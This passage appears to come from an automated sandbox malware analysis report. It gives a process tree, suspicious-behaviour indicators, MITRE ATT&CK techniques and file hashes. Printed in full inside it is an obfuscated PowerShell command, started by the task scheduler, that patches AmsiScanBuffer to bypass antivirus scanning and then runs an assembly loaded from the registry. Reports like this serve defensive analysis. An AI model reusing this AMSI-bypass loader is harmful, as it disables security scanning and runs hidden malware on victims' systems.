1952 svchost.exe Token: SeTakeOwnershipPrivilege 1952 svchost.exe Token: SeLoadDriverPrivilege 1952 svchost.exe Token: SeSystemtimePrivilege 1952 svchost.exe Token: SeBackupPrivilege 1952 svchost.exe Token: SeRestorePrivilege 1952 svchost.exe -
Suspicious use of SetWindowsHookEx 1 IoCs
pid Process 3156 Explorer.EXE -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 2260 wrote to memory of 2040 2260 powershell.EXE 87 PID 2260 wrote to memory of 2040 2260 powershell.EXE 87 PID 2260 wrote to memory of 2040 2260 powershell.EXE 87 PID 2260 wrote to memory of 2040 2260 powershell.EXE 87 PID 2260 wrote to memory of 2040 2260 powershell.EXE 87 PID 2260 wrote to memory of 2040 2260 powershell.EXE 87 PID 2260 wrote to memory of 2040 2260 powershell.EXE 87 PID 2260 wrote to memory of 2040 2260 powershell.EXE 87 PID 2040 wrote to memory of 612 2040 dllhost.exe 1020 PID 2040 wrote to memory of 672 2040 dllhost.exe 7 PID 2040 wrote to memory of 956 2040 dllhost.exe 12 PID 2040 wrote to memory of 68 2040 dllhost.exe 1258 PID 2040 wrote to memory of 680 2040 dllhost.exe 14 PID 672 wrote to memory of 2988 672 lsass.exe 51 PID 2040 wrote to memory of 1008 2040 dllhost.exe 16 PID 2040 wrote to memory of 1120 2040 dllhost.exe 17 PID 2040 wrote to memory of 1132 2040 dllhost.exe 18 PID 2040 wrote to memory of 1160 2040 dllhost.exe 19 PID 2040 wrote to memory of 1192 2040 dllhost.exe 20 PID 2040 wrote to memory of 1204 2040 dllhost.exe 21 PID 2040 wrote to memory of 1276 2040 dllhost.exe 22 PID 2040 wrote to memory of 1316 2040 dllhost.exe 23 PID 2040 wrote to memory of 1400 2040 dllhost.exe 24 PID 2040 wrote to memory of 1436 2040 dllhost.exe 25 PID 2040 wrote to memory of 1572 2040 dllhost.exe 26 PID 2040 wrote to memory of 1580 2040 dllhost.exe 27 PID 2040 wrote to memory of 1632 2040 dllhost.exe 28 PID 2040 wrote to memory of 1700 2040 dllhost.exe 29 PID 2040 wrote to memory of 1732 2040 dllhost.exe 30 PID 2040 wrote to memory of 1760 2040 dllhost.exe 31 PID 2040 wrote to memory of 1888 2040 dllhost.exe 32 PID 2040 wrote to memory of 1952 2040 dllhost.exe 33 PID 2040 wrote to memory of 2016 2040 dllhost.exe 34 PID 2040 wrote to memory of 1540 2040 dllhost.exe 35 PID 2040 wrote to memory of 1692 2040 dllhost.exe 36 PID 2040 wrote to memory of 2060 2040 dllhost.exe 37 PID 2040 wrote to memory of 2116 2040 dllhost.exe 38 PID 2040 wrote to memory of 2224 2040 dllhost.exe 40 PID 2040 wrote to memory of 2264 2040 dllhost.exe 41 PID 2040 wrote to memory of 2504 2040 dllhost.exe 1182 PID 2040 wrote to memory of 2520 2040 dllhost.exe 1004 PID 2040 wrote to memory of 2620 2040 dllhost.exe 1247 PID 2040 wrote to memory of 2632 2040 dllhost.exe 45 PID 2040 wrote to memory of 2760 2040 dllhost.exe 46 PID 2040 wrote to memory of 2768 2040 dllhost.exe 47 PID 2040 wrote to memory of 2892 2040 dllhost.exe 48 PID 2040 wrote to memory of 2964 2040 dllhost.exe 50 PID 2040 wrote to memory of 2988 2040 dllhost.exe 51 PID 2040 wrote to memory of 2996 2040 dllhost.exe 52 PID 2040 wrote to memory of 3016 2040 dllhost.exe 53 PID 2040 wrote to memory of 2940 2040 dllhost.exe 54 PID 2040 wrote to memory of 3156 2040 dllhost.exe 55 PID 2040 wrote to memory of 3268 2040 dllhost.exe 56 PID 2040 wrote to memory of 3612 2040 dllhost.exe 1210 PID 2040 wrote to memory of 3804 2040 dllhost.exe 1008 PID 2040 wrote to memory of 3992 2040 dllhost.exe 970 PID 2040 wrote to memory of 4128 2040 dllhost.exe 989 PID 2040 wrote to memory of 4596 2040 dllhost.exe 65 PID 2040 wrote to memory of 4928 2040 dllhost.exe 66 PID 2040 wrote to memory of 4828 2040 dllhost.exe 67 PID 2040 wrote to memory of 1220 2040 dllhost.exe 68 PID 2040 wrote to memory of 4888 2040 dllhost.exe 69 PID 2040 wrote to memory of 1492 2040 dllhost.exe 70 PID 2040 wrote to memory of 4400 2040 dllhost.exe 71 -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Windows\system32\lsass.exeC:\Windows\system32\lsass.exe1⤵
- Suspicious use of WriteProcessMemory
PID:672
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM1⤵PID:956
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc1⤵PID:680
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts1⤵PID:1008
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService1⤵PID:1120
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc1⤵PID:1132
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule1⤵
- Drops file in System32 directory
PID:1160 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:trcNkYgDkjkB{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$PfpRYsLbFKFYQU,[Parameter(Position=1)][Type]$EAAtWuDQna)$nNAgRbXdPhU=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName('R'+'e'+'fle'+[Char](99)+''+'t'+''+[Char](101)+'d'+[Char](68)+''+[Char](101)+'le'+[Char](103)+''+[Char](97)+''+[Char](116)+''+[Char](101)+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+''+[Char](110)+'M'+'e'+''+[Char](109)+''+[Char](111)+''+[Char](114)+''+[Char](121)+''+'M'+'o'+'d'+''+[Char](117)+'l'+[Char](101)+'',$False).DefineType(''+'M'+''+[Char](121)+''+[Char](68)+''+'e'+''+[Char](108)+'e'+'g'+''+'a'+'t'+[Char](101)+''+[Char](84)+'y'+[Char](112)+'e',''+'C'+'las'+[Char](115)+',P'+[Char](117)+''+'b'+'l'+[Char](105)+''+'c'+',S'+[Char](101)+''+[Char](97)+''+[Char](108)+'ed'+[Char](44)+''+[Char](65)+''+[Char](110)+''+[Char](115)+''+[Char](105)+''+[Char](67)+'lass'+[Char](44)+''+[Char](65)+''+[Char](117)+''+'t'+'o'+[Char](67)+'l'+[Char](97)+''+[Char](115)+''+[Char](115)+'',[MulticastDelegate]);$nNAgRbXdPhU.DefineConstructor(''+'R'+''+[Char](84)+'Sp'+[Char](101)+''+'c'+''+[Char](105)+''+[Char](97)+'l'+'N'+''+[Char](97)+''+[Char](109)+''+[Char](101)+''+[Char](44)+''+'H'+''+'i'+''+'d'+''+[Char](101)+''+[Char](66)+''+[Char](121)+''+'S'+''+[Char](105)+''+[Char](103)+''+[Char](44)+''+[Char](80)+''+'u'+''+'b'+''+[Char](108)+''+'i'+''+'c'+'',[Reflection.CallingConventions]::Standard,$PfpRYsLbFKFYQU).SetImplementationFlags(''+[Char](82)+''+'u'+''+'n'+'t'+[Char](105)+''+[Char](109)+''+[Char](101)+''+[Char](44)+'M'+[Char](97)+''+[Char](110)+''+[Char](97)+''+[Char](103)+''+'e'+'d');$nNAgRbXdPhU.DefineMethod('I'+'n'+''+'v'+''+[Char](111)+''+[Char](107)+''+[Char](101)+'',''+[Char](80)+''+[Char](117)+'b'+[Char](108)+''+[Char](105)+'c'+[Char](44)+'H'+[Char](105)+''+[Char](100)+''+[Char](101)+''+'B'+''+'y'+''+[Char](83)+''+[Char](105)+''+[Char](103)+''+[Char](44)+''+'N'+''+[Char](101)+'w'+'S'+''+[Char](108)+''+[Char](111)+''+[Char](116)+''+[Char](44)+''+[Char](86)+''+'i'+'r'+[Char](116)+''+[Char](117)+''+[Char](97)+''+[Char](108)+'',$EAAtWuDQna,$PfpRYsLbFKFYQU).SetImplementationFlags(''+[Char](82)+''+'u'+''+'n'+''+[Char](116)+''+[Char](105)+'m'+[Char](101)+''+','+''+'M'+''+[Char](97)+''+[Char](110)+''+[Char](97)+''+[Char](103)+''+'e'+'d');Write-Output $nNAgRbXdPhU.CreateType();}$yVmWutNXRrikl=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals('S'+[Char](121)+''+[Char](115)+'t'+[Char](101)+''+'m'+''+[Char](46)+''+[Char](100)+''+[Char](108)+''+'l'+'')}).GetType(''+[Char](77)+''+[Char](105)+''+[Char](99)+''+[Char](114)+'o'+'s'+'o'+'f'+''+'t'+''+'.'+''+'W'+''+[Char](105)+'n32'+[Char](46)+''+'U'+''+[Char](110)+''+[Char](115)+''+'a'+''+[Char](102)+''+'e'+''+'N'+''+'a'+''+[Char](116)+''+[Char](105)+''+'v'+''+'e'+''+[Char](77)+''+'e'+'th'+[Char](111)+''+'d'+''+[Char](115)+'');$JiJjEqAkovMsdz=$yVmWutNXRrikl.GetMethod(''+'G'+'et'+[Char](80)+''+[Char](114)+''+[Char](111)+''+[Char](99)+''+[Char](65)+''+[Char](100)+'d'+'r'+''+[Char](101)+''+[Char](115)+'s',[Reflection.BindingFlags](''+'P'+''+[Char](117)+''+'b'+''+'l'+''+'i'+''+'c'+''+[Char](44)+''+[Char](83)+''+[Char](116)+''+'a'+''+[Char](116)+''+'i'+'c'),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$ueTynYZWFQIUkPvpcTC=trcNkYgDkjkB @([String])([IntPtr]);$axXyItrqMzMqqVWmvHKxjO=trcNkYgDkjkB @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$ALJBdUFOuxW=$yVmWutNXRrikl.GetMethod(''+[Char](71)+'e'+[Char](116)+'Modu'+'l'+''+'e'+''+'H'+''+[Char](97)+''+[Char](110)+''+[Char](100)+''+[Char](108)+'e').Invoke($Null,@([Object](''+[Char](107)+'e'+[Char](114)+'n'+'e'+''+'l'+''+'3'+''+[Char](50)+''+'.'+''+'d'+''+[Char](108)+''+[Char](108)+'')));$ryOKcnWADrPlQG=$JiJjEqAkovMsdz.Invoke($Null,@([Object]$ALJBdUFOuxW,[Object](''+[Char](76)+''+'o'+''+[Char](97)+''+'d'+''+'L'+'ibra'+[Char](114)+''+[Char](121)+''+[Char](65)+'')));$HiDQkYehdKeceineU=$JiJjEqAkovMsdz.Invoke($Null,@([Object]$ALJBdUFOuxW,[Object](''+'V'+'i'+[Char](114)+'t'+[Char](117)+''+'a'+''+'l'+'Pr'+'o'+'t'+'e'+''+[Char](99)+''+[Char](116)+'')));$BstwOJf=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($ryOKcnWADrPlQG,$ueTynYZWFQIUkPvpcTC).Invoke(''+'a'+''+'m'+'s'+[Char](105)+''+'.'+''+[Char](100)+''+[Char](108)+'l');$PYZwOYLBAlMlmCLPy=$JiJjEqAkovMsdz.Invoke($Null,@([Object]$BstwOJf,[Object](''+'A'+''+'m'+''+[Char](115)+''+[Char](105)+''+'S'+''+[Char](99)+''+[Char](97)+''+[Char](110)+''+'B'+''+[Char](117)+''+[Char](102)+''+'f'+''+[Char](101)+''+'r'+'')));$ZfMqxcJlIw=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($HiDQkYehdKeceineU,$axXyItrqMzMqqVWmvHKxjO).Invoke($PYZwOYLBAlMlmCLPy,[uint32]8,4,[ref]$ZfMqxcJlIw);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$PYZwOYLBAlMlmCLPy,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($HiDQkYehdKeceineU,$axXyItrqMzMqqVWmvHKxjO).Invoke($PYZwOYLBAlMlmCLPy,[uint32]8,0x20,[ref]$ZfMqxcJlIw);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+''+[Char](79)+''+'F'+''+[Char](84)+''+'W'+''+'A'+''+[Char](82)+''+[Char](69)+'').GetValue(''+[Char](36)+''+'7'+''+[Char](55)+''+[Char](115)+'t'+[Char](97)+''+[Char](103)+'er')).EntryPoint.Invoke($Null,$Null)"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2260
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog1⤵
- Drops file in System32 directory
PID:1192
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc1⤵PID:1204
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc1⤵PID:1276
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s nsi1⤵PID:1316
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp1⤵PID:1400
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager1⤵PID:1436
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C:\Windows\system32\sihost.exesihost.exe2⤵PID:2852
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C:\Windows\system32\sihost.exesihost.exe2⤵PID:1772
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C:\Windows\system32\sihost.exesihost.exe2⤵PID:4624
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C:\Windows\system32\sihost.exesihost.exe2⤵PID:1668
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C:\Windows\system32\sihost.exesihost.exe2⤵PID:3540
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C:\Windows\system32\sihost.exesihost.exe2⤵PID:2704
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s Themes1⤵PID:1572
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem1⤵PID:1580
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc1⤵PID:1632
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s SENS1⤵PID:1700
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder1⤵PID:1732
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalService -p -s netprofm1⤵PID:1760
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵PID:1888
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1952
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache1⤵PID:2016
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵PID:1540
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository1⤵PID:1692
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection1⤵PID:2060
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C:\Windows\System32\spoolsv.exeC:\Windows\System32\spoolsv.exe1⤵PID:2116
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc1⤵PID:2224
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation1⤵PID:2264
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s TokenBroker1⤵PID:2632
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent1⤵PID:2760
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT1⤵PID:2768
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc1⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:2892
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer1⤵
- Enumerates connected drives
- Suspicious use of AdjustPrivilegeToken
PID:2964
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C:\Windows\sysmon.exeC:\Windows\sysmon.exe1⤵PID:2988
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks1⤵PID:2996
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService1⤵PID:3016
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc1⤵PID:2940
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C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
PID:3156 -
C:\Users\Admin\AppData\Local\Temp\Install.exe"C:\Users\Admin\AppData\Local\Temp\Install.exe"2⤵PID:100
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C:\Windows\system32\wbem\unsecapp.exeC:\Windows\system32\wbem\unsecapp.exe -Embedding1⤵PID:3268
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C:\Windows\system32\SppExtComObj.exeC:\Windows\system32\SppExtComObj.exe -Embedding1⤵PID:4596
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager1⤵PID:4928
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc1⤵PID:4828
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV1⤵PID:1220
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc1⤵PID:4888
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc1⤵
- Modifies data under HKEY_USERS
PID:1492
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C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service1⤵PID:4400
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C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}1⤵PID:1228
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C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{0e2ee354-6d5d-427d-9eee-940a9dcb6cee}1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2040
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k WerSvcGroup1⤵PID:2388
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv1⤵
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
PID:4392
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C:\Windows\system32\wbem\wmiprvse.exeC:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding1⤵
- Checks BIOS information in registry
- Writes to the Master Boot Record (MBR)
- Enumerates system info in registry
- Suspicious behavior: EnumeratesProcesses
PID:3356
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C:\Windows\servicing\TrustedInstaller.exeC:\Windows\servicing\TrustedInstaller.exe1⤵PID:3124
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s UsoSvc1⤵PID:1300
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C:\Windows\System32\mousocoreworker.exeC:\Windows\System32\mousocoreworker.exe -Embedding1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Modifies data under HKEY_USERS
PID:2488
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C:\Windows\System32\smss.exe\SystemRoot\System32\smss.exe 000002c0 000000841⤵PID:3992
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C:\Windows\System32\smss.exe\SystemRoot\System32\smss.exe 00000394 000000841⤵PID:4436
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C:\Windows\System32\smss.exe\SystemRoot\System32\smss.exe 00000310 000000841⤵PID:4128
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C:\Windows\System32\smss.exe\SystemRoot\System32\smss.exe 000003a8 000000841⤵PID:2520
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C:\Windows\System32\smss.exe\SystemRoot\System32\smss.exe 000003a8 000000841⤵PID:3804
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C:\Windows\System32\smss.exe\SystemRoot\System32\smss.exe 00000338 000000841⤵PID:612
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C:\Windows\System32\smss.exe\SystemRoot\System32\smss.exe 00000394 000000841⤵PID:1772
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C:\Windows\System32\smss.exe\SystemRoot\System32\smss.exe 00000358 000000841⤵PID:4624
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C:\Windows\System32\smss.exe\SystemRoot\System32\smss.exe 000003f0 000000841⤵PID:2384
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C:\Windows\System32\smss.exe\SystemRoot\System32\smss.exe 000003f0 000000841⤵PID:4180
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C:\Windows\System32\smss.exe\SystemRoot\System32\smss.exe 000003ac 000000841⤵PID:2504
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C:\Windows\System32\smss.exe\SystemRoot\System32\smss.exe 00000388 000000841⤵PID:3612
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C:\Windows\System32\smss.exe\SystemRoot\System32\smss.exe 00000388 000000841⤵PID:316
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C:\Windows\System32\smss.exe\SystemRoot\System32\smss.exe 000003a8 000000841⤵PID:3280
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C:\Windows\System32\smss.exe\SystemRoot\System32\smss.exe 0000030c 000000841⤵PID:2620
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C:\Windows\System32\smss.exe\SystemRoot\System32\smss.exe 0000039c 000000841⤵PID:68
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C:\Windows\System32\smss.exe\SystemRoot\System32\smss.exe 00000334 000000841⤵PID:3540
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C:\Windows\System32\smss.exe\SystemRoot\System32\smss.exe 00000310 000000841⤵PID:1668
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C:\Windows\System32\smss.exe\SystemRoot\System32\smss.exe 000000e4 000000841⤵PID:2852
Network
MITRE ATT&CK Enterprise v15
Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Pre-OS Boot
1Bootkit
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Replay Monitor
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Downloads
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Filesize
2KB
MD58abf2d6067c6f3191a015f84aa9b6efe
SHA198f2b0a5cdb13cd3d82dc17bd43741bf0b3496f7
SHA256ee18bd3259f220c41062abcbe71a421da3e910df11b9f86308a16cdc3a66fbea
SHA512c2d686a6373efcff583c1ef50c144c59addb8b9c4857ccd8565cd8be3c94b0ac0273945167eb04ebd40dfb0351e4b66cffe4c4e478fb7733714630a11f765b63
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Filesize
2KB
MD5f313c5b4f95605026428425586317353
SHA106be66fa06e1cffc54459c38d3d258f46669d01a
SHA256129d0b993cd3858af5b7e87fdf74d8e59e6f2110184b5c905df8f5f6f2c39d8b
SHA512b87a829c86eff1d10e1590b18a9909f05101a535e5f4cef914a4192956eb35a8bfef614c9f95d53783d77571687f3eb3c4e8ee2f24d23ad24e0976d8266b8890
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Filesize
2KB
MD5ceb7caa4e9c4b8d760dbf7e9e5ca44c5
SHA1a3879621f9493414d497ea6d70fbf17e283d5c08
SHA25698c054088df4957e8d6361fd2539c219bcf35f8a524aad8f5d1a95f218e990e9
SHA5121eddfbf4cb62d3c5b4755a371316304aaeabb00f01bad03fb4f925a98a2f0824f613537d86deddd648a74d694dc13ed5183e761fdc1ec92589f6fa28beb7fbff
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Filesize
2KB
MD57d612892b20e70250dbd00d0cdd4f09b
SHA163251cfa4e5d6cbf6fb14f6d8a7407dbe763d3f5
SHA256727c9e7b91e144e453d5b32e18f12508ee84dabe71bc852941d9c9b4923f9e02
SHA512f8d481f3300947d49ce5ab988a9d4e3154746afccc97081cbed1135ffb24fc107203d485dda2d5d714e74e752c614d8cfd16781ea93450fe782ffae3f77066d1
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Filesize
2KB
MD51e8e2076314d54dd72e7ee09ff8a52ab
SHA15fd0a67671430f66237f483eef39ff599b892272
SHA25655f203d6b40a39a6beba9dd3a2cb9034284f49578009835dd4f0f8e1db6ebe2f
SHA5125b0c97284923c4619d9c00cba20ce1c6d65d1826abe664c390b04283f7a663256b4a6efe51f794cb5ec82ccea80307729addde841469da8d041cbcfd94feb0f6
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Filesize
2KB
MD50b990e24f1e839462c0ac35fef1d119e
SHA19e17905f8f68f9ce0a2024d57b537aa8b39c6708
SHA256a1106ed0845cd438e074344e0fe296dc10ee121a0179e09398eaaea2357c614a
SHA512c65ba42fc0a2cb0b70888beb8ca334f7d5a8eaf954a5ef7adaecbcb4ce8d61b34858dfd9560954f95f59b4d8110a79ceaa39088b6a0caf8b42ceda41b46ec4a4
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82